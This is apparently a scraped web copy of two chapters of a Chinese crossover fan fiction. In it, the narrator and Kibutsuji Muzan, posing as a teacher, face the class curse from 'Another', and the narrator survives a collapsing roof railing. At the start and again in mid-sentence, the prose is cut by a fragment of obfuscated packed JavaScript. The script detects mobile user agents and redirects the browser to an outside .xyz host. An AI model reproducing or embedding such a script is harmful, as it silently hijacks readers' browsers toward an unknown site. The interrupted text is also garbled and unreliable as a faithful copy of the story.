l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679178|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开视线表示自己不需要这玩意:“为什么要学之前的人去山里办夏令营?那种事对他们解决问题没什么帮助,这种地方人聚集得越多反而越容易发生大规模死亡事故吧。” 回答他的问题之前,我有些发愣地盯着他看了会。 我突然意识到,他的适应力如此惊人,如果不刻意去回想的话,我真的会把他当作一直生活在现代的人来看。 这就是从平安时代一直活到大正的长生者的自适应力吗,我想,无惨几乎是能完全从读者视角来分析情节,或者说,像侦探一样,通过有限的线索推理不合常理之处,再分析出可能的因素。这简直太厉害了,尽管知道他是有复数个大脑,宛若超级机械般可以同时运转,但很难想象他在最初的思维认知还只在百年前。 或许哪怕突然让他前去2077年的赛博朋克社会,他也能迅速找到自己的位置并坐稳吧。 无惨见我思路又发散开,不耐地咳了两声唤回我的注意力。 “抱歉,之前那一届去山里的三年三班也只是病急乱投医,抱着参拜神社或许可以让神明镇压邪祟,大概是这样的想法吧。”不用抬头看他都知道,他在听见这话时的表情有多难看,我把自己能想起来的部分写在纸上,边写边说,“我知道你想嘲笑他们,这确实没用,不过初中小孩总要找点心理安慰嘛,而且我能记得,那一届确实是在去过山里后就停止了灾厄。” 他的目光又一次落下来,沉默着等我给他解释缘由。 我想不起来为什么那年的灾祸会中途停止了,这一定涉及到时间解决的关键,所以系统将我脑中这一段记忆做了抹除。“他们中间发生了什么事情,导致灾祸停止了,我想不起来,但这肯定就是能中途停止灾祸的方法。”我这么告诉鬼舞辻无惨。 他说我这是废话。 “嗯,你把所有能看出来的讲了一遍,但就是想不起来这个方法是什么。” “那就是因为系统嘛,不然我肯定来的第一天就速通了。” 推理小说世界就这点最方便,看过的作品基本都能记得谜底,往往可以直接速通,但偏偏就是这点被系统限制了,让我们不得不多停留三个月。 就当多做支线任务赚积分了,事到如今也只能安慰自己,系统给的十五分钟预警至少是够我想好怎样用技能,并买新的技能石的。 “你要是想让这些学生八月如期去夏令营,很简单,确保每个月至少死一个人不就可以了。”无惨随意地说着,大有一种没有死人就由他来创造死人的气势,“别那么看着我了,你收到预警不去救人,他们就会自己死掉,不是吗?都不需要我去动手,说不定我只是抓个小鬼吓唬一下,他们在逃跑的时候就会自己摔死。” 他说的倒也确实,不错。 在有这样的“每月产生非自然死亡的死者”前提下,死亡是可以毫无预兆的,当然推理小说还是比血浆片讲理,至少会让人尽量死得有逻辑一点,但这个世界最不讲理的就已经是这条背景规则了。 我请求他不要做额外的事,因为我也真的怕他口中“吓唬小孩导致他们摔死”的事情成真,这种情节约莫不会是原作的情节,系统会不会给提醒都不清楚——这同样也是我担心他们不走八月夏令营剧情的原因:如果灾厄在暑假没有结束,我无法确认下个学期能继续收到预警。 “哼,不如就根据你这次考试的成绩来决定我要不要添把火吧。”他冷笑着从旁边的试卷堆上拿过那张分数惨淡的数学卷子,放在我面前。这张卷子我几乎就只写了名字和选择题,填空题能心算的我也写了,其他的因为实在懒得动笔,就空着交上去了。 我本来就不是初中生,那么认真考试做什么。 鬼舞辻无惨就更不是正经数学老师了,他干嘛扮演起有责任心的人民教师来! “我走了。”我起身欲走,被无惨扣住肩膀按回椅子上,这该死的十五岁身体,居然对老师身份有种天然的恐惧。 他手掌按在我后脖,指甲有些刺到我皮肤上,不疼,但有点痒。我对着试卷上的批改痕迹撇了撇嘴:“我是新来的转学生,还不适应学校生活呢。” “我好像,也是新老师吧。” “鬼舞辻无惨,你能不用数学报复我吗?” 我真要给他跪下了。 就算只是日本公立学校的初中数学,我就是不想去做那种中学生的学习任务了,他分明就没有认真当老师的打算,此刻也就是找我麻烦。 哦天哪,真是个恶劣的家伙。 我居然还是喜欢他的?! 他松开了扣住我脖子的手:“只是提醒你,别对那些小鬼太上心,让他们去死也无所谓,反正本来他们就会死的不是吗?”他这会倒是挺认真的,看得出来系统那样的救人任务他并不感冒,相反还挺厌恶,毕竟与他本心相违。 但我确实也需要赚积分,这种悬疑作品世界是收益最好的地方,技能石的使用频率不高,能救到的人又很多。我告诉他,自己还是想尽可能让这些孩子不要总活在恐惧中,也想尽可能减少一点发生在学校内的血案。 无惨没有说话,只将椅子转向另一个方向。 “但你说的对,确实有必要保留每月至少一个死者,或者至少让他们知道灾祸从未停止,谢谢你提醒我。”我起身时摸过那张写了时间线的纸,在手心里揉成一团,“哎呀,月彦老师关心我的成绩我也可感动了,晚点放学再来找老师补习一下,老师你要等我啊。” 余光瞥见了反悔办公室的三神老师,那是三年三班的副班主任、美术老师。她与其他三班的同学一样,将我当作透明人,那是因为班主任与副班主任也被算在三班集体之中,必须要遵守同样的规矩;她看都没看这边,径直走回自己的办公桌前坐下。 总觉得她……嗯,什么来着? 三神老师,应该没什么异常吧,完全想不到,大脑更混乱了。 我偷偷盯着安静办公的三神老师,对鬼舞辻无惨又说了声“老师你一定要等我啊”便离开了办公室。 三年三班结束了考试,有些同学议论着考试中听见的属于樱木由加利的那声尖叫,但由于死亡并未真正降临,所以教室里的氛围也还算轻松。 回教室的路上我与三班班主任久保寺擦肩而过,余光中,我瞥见他的脸庞。 那张正值壮年的脸上写着疲惫。 47. 第 47 章 “确实是榊原恒一先在校内打破规则和见崎鸣搭话的,从别人的视角看来,就是他的好奇使‘不存在的人’战术失效,带来灾厄。”我拿鬼舞辻无惨办公桌上的备课本画起画来,反正他什么都不写,这本笔记本仍是空白,“不过他根本就不懂大家为什么无视见崎鸣,再加上他们在医院里就有过一面之缘嘛,其实也不能怪他,更何况灾厄早就开始了,只是大家都不知道罢了。” “那这帮小鬼就没有一个和那小子解释情况的?之前我随口问学生情况,结果都跟我说没有那个叫见崎的人,就指望别人自己明白,太好笑了吧。”无惨站在窗口,期中考试后天气终于放晴,今天又是个难得晴朗乌云的日子,现在夕阳正洒在他身上,将他身上的白衬衫也染成橙红色。 我在本子上画了个无惨模样的简笔画,又偷偷把那一页撕下来放进口袋,说:“有这样一个悖论:如果刻意去和榊原解释‘不要理见崎鸣,把她当作不存在的人’,那反而是变相地承认有这样一个人存在,只是大家在故意无视她;既然要当作不存在的人,就是连提都不能提,也不能和外人解释规则,不然就会失效。” 他冷笑一声,对这样的理由不置可否。 降雨后的日子并未立即升温,夜见山北中的教学楼不知是否因为那个超自然现象的影响,总是让人感到没由来的凉意。不过我是知道这个灾厄背后的缘由,倒也不觉得太恐怖,反倒是偏低的室内温度让人不用太担心夏天的到来了,毕竟这个年代学校里还没那么普及空调。 只是在学校里待了这么久,偶尔确实也会让人觉得,想出去走走。 我突发恶疾般从座椅上弹起,看着从看向窗外转头看向我的鬼舞辻无惨,他正用看白痴的眼神看着我,我说:“我想喝饮料。” 他微微歪头,说不明白我又犯什么毛病。 “学校里只有白水和食堂饭菜嘛,我想去超市买点饮料零食什么的,说真的我这段时间晚上还挺饿的。”因为所有的食物来源都是学校食堂中午售卖的简单便当和面包点心,其实并不算很充足的能量,我到底是要吃饭的人,现在更是想念一些食品添加剂的味道。 好吧,现代人就是这样的,总得来说我现在很想囤点吃的在办公室里,反正无惨这张办公桌的抽屉中压根没什么教学用具或是文件材料,就当作零食柜也不错。 他又透过窗户看向楼下,宫本老师在校门口将夜见北的校园大门关闭并上锁,随后离开了学校。这里到底是小城,负责值守的都是体育老师与其他后勤人员轮换,他们也不常在晚上还留在校内。 鬼舞辻无惨勉强同意了陪我一起出校走走,就当是随便看看夜见山市。 翻过校门的时候我才想起来,这大概是我长这么大第一次做这种法外狂徒般的事,规矩了整个学生时代,到了今天居然体验了这种翻墙逃学的感觉——当然本来也不算逃学。 得益于此时并不算严的安保,校门上也没有那种高压电网或玻璃碴子,我跳下去的时候顺便吐槽了一句,夜见山北中真是相信学生素质。 等从校外回到学校,我将买回来的东西往鬼舞辻无惨的办公桌那块一堆,又拽他一起去了教学楼天台。记得剧情里天台门就是不锁的,学生们偶尔也会在课间到这里来,现在更是便宜了我,成了这个夜间聊天吃宵夜的绝佳场所。 无惨问我今天怎么不睡了,我告诉他五月的最后几天,五月死者目前只有樱木由加利的母亲一人,我怕节外生枝再突然死一个班上同学。上次的预警来得很突然,但我不确定那个提示音是否会能在我睡梦中将我叫醒,总之这几天就尽可能地晚睡一些了。 “所以你今天白天在睡觉。” “反正你课上也不会叫我回答问题吧。”至少在学生们意识到对策失效之前是这样的,在那之前,我还能被当作“不存在的人”,想做什么就能做什么。 我拆开易拉罐封口,在开口处用手指简单擦了擦,拿起易拉罐喝了一口。从商店回到学校虽然有些时间了,但罐中的啤酒也还有些凉意,入口的感觉还是比常温啤酒好上太多了。 严格来说,以我现在的身体年纪,在日本是完全不可以沾酒精饮品的,所以购买的时候当然都是让无惨出面买下来,现在也只是在没人的地方偷偷喝罢了。 啊,这样说来之后处理垃圾也是个麻烦的问题,啤酒罐可不能出现在学校的垃圾桶里。 无惨和我在天台靠近栏杆的地方,五月夜间还有些微风,拂面而来也挺舒爽的,天上闪着些我叫不出名字的星星,铺成一段似是点缀水钻的黑色幕布。这还真是这段旅途中难得悠闲的时间,比起在卡西米尔要时刻跟进新闻报道和骑士竞技赛程,现在这会倒是更像山城度假了。 他背对着栏杆站着,脊背挺得笔直,完全没有靠在栏杆上,模仿伪装上层社会人类让他比大部分人都更熟知贵族举手投足的正确仪态,哪怕是到现在,他也保留着这样潜意识的习惯。 前两天偶然路过聊八卦的学生时,可是还听见他们说月彦老师好帅呢。 我就没样子惯了,正对栏杆盘腿坐下,看着铁栏杆上斑点的锈迹,也放弃了靠上去的想法。“后面几天我想放学后去夜见山的各个地方都走走,熟悉一下位置。”我也不知道这座城市里学生们的亲属都在何地,但我还是买了一份夜见山市的地图,先了解地理位置布局总是没错的,只有十五分钟的提前预警,必须做好死亡情节可能发生在任何地方的准备。 我说完后无惨并没有回答我,看来他是没有再陪我一起去的打算,我抬头看他,他正在手中凝聚出一团鲜红的物质,看上去像是晶体的材质,又像是某种非牛顿流体,在夜色中显得越发诡谲。这是他从泰拉学来的源石技艺,尽管之后没看他再用过,但想必他也是打算把这种消耗品用在更关键的地方,至少《替身》这个推理小说世界是不会让他想用这种力量的。 那团物质在他注意到我在看他时便蒸发般消失,他也放下手,低头俯视着我正要喝完易拉罐中最后一口的模样:“你知道吗?如果一个人类平时饮酒多的话,那个人的肉会很臭。” 啊? 哦! “我不接受指桑骂槐,”我没理他话中的刺,自顾自喝完了啤酒,将易拉罐放在一边,“我这才喝多少啊,跟酗酒完全不是一个等级。” 但是他这样说本意大约是在提醒我少喝酒,说明他还是挺关心我的,心里有别人约莫就是这样,真叫人感动。 我站起身看着他的眼睛郑重地告诉他自己感谢他心中挂念我。 于是现在他被我恶心到了。 我心满意足地将手放在栏杆上未被锈蚀的地方,以脚后跟为支撑,双手撑着栏杆拉伸一下久坐后有些麻木的四肢。我所有思绪都放在当下片刻的放松上,没注意自己的手所接触到的栏杆有些许的松动,有几片铁制的薄片碎屑从栏杆掉落到我脚边,我低头瞥了眼,稍微走了神。 这所学校的设施并不算老旧,所以理论上不太可能发生因设备老化而来的安全事故,但也无法百分百确信,毕竟超自然现象之下万事皆有可能发生。不过这也是个新的思路,这般死亡大逃杀的情节里,老旧建筑与老旧设施是事故发生概率最大的地方。 如果要说这座城市有哪些建筑是符合这个条件的话,地图上找了一圈,夜见山市医院是首选,记得这家医院的楼房有些年岁没有翻新过,就先将其列为探索的第一地点。 我一手拿着叠起来将医院那片地块作为重点留出的夜见山市地图,侧过身来将另一边的手屈臂撑在栏杆上,就在我做出这般依靠的动作,正将全身重心放在侧边栏杆时,失重感突然袭来。吱呀的铁架变形断裂的声音骤然响起,在这个寂静的夜晚格外刺耳,刚刚撑在栏杆的手肘也从上方滑开,完全没料到这种发展的我也连带着重心失衡向一旁摔去。 脚边就是教学楼天台的边缘,整件事发生在不到一分钟内,原本即使有锈迹却也算牢固的栏杆就这么瞬间断裂了,而毫无防备的我也马上要从教学楼楼顶摔下去。公立中学的楼房算不上高楼,但这个高度摔下去,普通人也必然非死即残。 其实有源石技艺、体质又趋近泰拉人的我并没有很害怕,之前也早有过从更高的高空强降落的经验,只要在落地时用钙质化的源石技艺保护自己就行,所以在身体不受控制地向旁边倒去时,我已然反应过来,开始思考一些想不通的问题。 天台栏杆莫名断裂,要让我从楼上摔下去,不用想都知道肯定是三年三班那个超自然现象发力导致的,但这也显然不是原作中出现过的情节。很明显的是,这场事故是完全奔着我来的,如果我没有源石技艺的话,还真有可能就这么死掉了,死在夜深无人的校园——若它再残忍些,大约会留我一口气,让我在无人急救的境地中绝望咽气。 但《替身》的书中很早就讲过,我也深知的是,这绝对不是某种不讲理的诅咒或鬼魂报复,只是一种现象;它不带有任何情感倾向,只随机选择目标并“发生”,如此一来,导致我今天面对这般局面的就还有一个可能因素了。 原作世界剧情的强制力吗…… 因为产生了我这样不可控不稳定的存在,为了确保剧情按原本轨迹发展,要将我抹除吗?倒也不是不能理解吧,毕竟我要是再救下几个人来,那这本推理小说原先诡谲压抑的氛围也算是被我毁了,确实挺不厚道的。 但我也只是作为系统的玩家来赚分的呢,事到如今管不了那么多了,就当作现实世界中的文学作品本身不会受到影响好啦。 我开始思考落地姿势和事后的处理方式,拿着地图的那只手却被人强硬地抓住手腕,这让我下坠的过程都截然顿住,我的肩骨也因为惯性感到一阵拉扯的疼痛。思路被打断,我抬头看见鬼舞辻无惨拉住了我的手腕,但没有马上将我拉回去,只是保持着这个姿态冷冷地看着我。 “你今天这么好心?”下方传来铁架重重落在地上的响声,希望没砸坏什么重要的东西。 无惨拉住我的手松了一点,我又往下滑了几分,原本抵在天台边沿的双脚也险些失去支撑点。他的视线越过我看向下方笼罩在深黑夜色中的栏杆落地处:“我想这大概不是这部作品中的情节吧。” “栏杆刚才还好好的呢,就在我撑着的这块断了,怎么想都是因果律武器。”我双脚分开些好再踩稳一点,手掌翻向上方抓住无惨的衬衫袖口,“虽然真掉下去也没事,但还是请你帮忙拉我一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679179|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好事做到底嘛。” 他似乎犹豫了一瞬,但最后还是将我拉回了天台上,看来这次比起为难我找乐子,他也更想知道这场意外发生的原因。 其实也好猜。 原本樱木由加利该死在五月二十六日,成为五月死者的一员。当然,她的母亲已经成为了这个死者,灾厄确实在按既定的规则蔓延,但樱木本人到底是活下来了,而且尽管她因母亲去世而精神不振,但经过楼梯间那一遭,她生活中反倒是处处小心了许多。 我救了樱木,三班五月就少了一名应死去的死者,笼罩在整个班级成员头上的阴云并不会因此散去几分,相反,因果层叠着累积起来了。原本必然会有的死者没有死去,那么那些不知由来的规则就会主导着再死去一人作为填补,为了那个“果”而催生“因”;我想这就是这个世界主线任务中我们必须应对的大麻烦,也就是人们常常调侃的因果律武器。 照这个思路推导的话,只要我继续救人,就会有更多的因果聚集到我身上,不断增加事故发生在我身上的概率,要让我成为死者;而我一次不死,两次不死,这些事故的严重程度也会不断堆积……简直就像那个《死神来了》的电影中被无名的死神追杀。 如果我不再救人,倒是能让自己免于灾祸,但这样的话大概就不能完成系统的任务要求了。 “真有够麻烦的,说到底这个所谓灾厄,一开始只是一群小鬼舍不得一个死掉的同伴吧,就因为这种原因变成这样。”鬼舞辻无惨插话评价道,“真是滑稽,人类喜欢的这种‘恐怖’作品都是这个路子吗?” 他向来是不信神鬼那套的,超自然现象的怪谈、恐怖故事讲与他听,大约也都只会得到他现在的这番评价。以他的视角来看,这种不讲理的灵异事件导致的死亡逃杀,大约就和那些他从未见过却指责他缺乏道德的人一样荒唐。 我也是不太喜欢这类恐怖故事的逻辑的。 倒不是真对作品作者有什么意见,这系统选取世界都是按着我看过的作品来选,又是选出一些我还算有好感的作品,所以来到《替身》这里,自然也是因为我欣赏这本小说。但欣赏归欣赏,现在要我来体会这种明明自己什么都没做、就要面对随时可能到来的死亡,甚至现在因为救了人,就要把那些因果报应聚集到自己身上,我肯定是不爽的。 只可惜这也只是一个“现象”,可惜在无法抓出什么黑幕本体,也无法彻底停止这样的现象。 所以说为什么夜见山北中不干脆废弃三年三班? 我将带上天台的零食饮料收好,走回天台门那边准备下楼,边向无惨招招手边对他说:“这确实不讲理,不少恐怖题材作品都是莫名其妙的诅咒,解决方法又很刁钻,说实话我最喜欢的类型也不是这种。” 要说的话,我是更喜欢冤有头债有主的枉死者复仇故事,大部分人都爱看,毕竟这种故事代表着公理得胜。或者哪怕不是复仇,冤魂索命也应去索真正有罪之人,报应也落在相应的人头上,而非普通人莫名其妙就被诅咒波及。 于是我随口向无惨提了一嘴,下次有机会和他一起去其他恐怖题材的作品看看,说不定有能让他更欣赏些的设定。 “无所谓,人类只是根据自己害怕的事物创作这些故事,而所谓害怕也只不过是怕死和恐惧未知,甚至恐惧与自己不同的生物。所以我还挺不理解的,会让自己感到那样恐惧的东西,就像你在那个飞机上怕成那样,但你们居然还乐此不疲地去看这些。” 他说到这里顿了顿,看向我。 “百年后的人类是有什么受虐癖吧。” 嗯……他说的也对。 恐怖片和恐怖游戏,还有一些恐怖密室,不就是一边体验着被惊吓到心跳失控的感受,一边又不断去再看一眼、再玩一次,从而不断带来这样的刺激嘛。 “大概还真是?恐怖类的作品就是人从恐惧中获取感官刺激与乐趣的一种方式,其实我真的挺期待和你再去哪个恐怖片或者恐怖游戏闯闯的。”因为如果有他在的话,我大概不会那么害怕,至少不会有玩到一半关闭游戏并退款的情况——在这个快穿系统的游戏里也不存在退款机制就是了。 从天台掉下去的一截栏杆躺在教学楼正门前不远,好在是没有砸到任何公共设施,只是敲碎了路面石砖的一角,还有更多铁屑随着栏杆落下来而一同散在地面上。 短暂的思考过后,我决定就将这玩意留在这边了。 虽然明天早上等宫本老师来学校开大门值班时肯定会感到困惑,但这段栏杆损坏掉落没有砸伤任何人,让老师看见后也算变相告知他们天台栏杆需要维修,以免之后还有学生跌落。怎么说我半夜在学校里都不是什么正当行为,这件事还是让自己查无此人比较好。 还好这个年代的偏远地区校园里没怎么装监控。 于是五月就这样结束了。天台封闭维修了一段时间,等再次对学生开放,栏杆全部换了一排崭新的没有锈迹的栏杆,不禁让人感叹效率还挺高。 六月到来了。 新一轮的死亡又要开始选择目标了。 我在语文课翘课出去之前瞄了一眼讲课的班主任久保寺,他脸上的疲惫比先前更重了。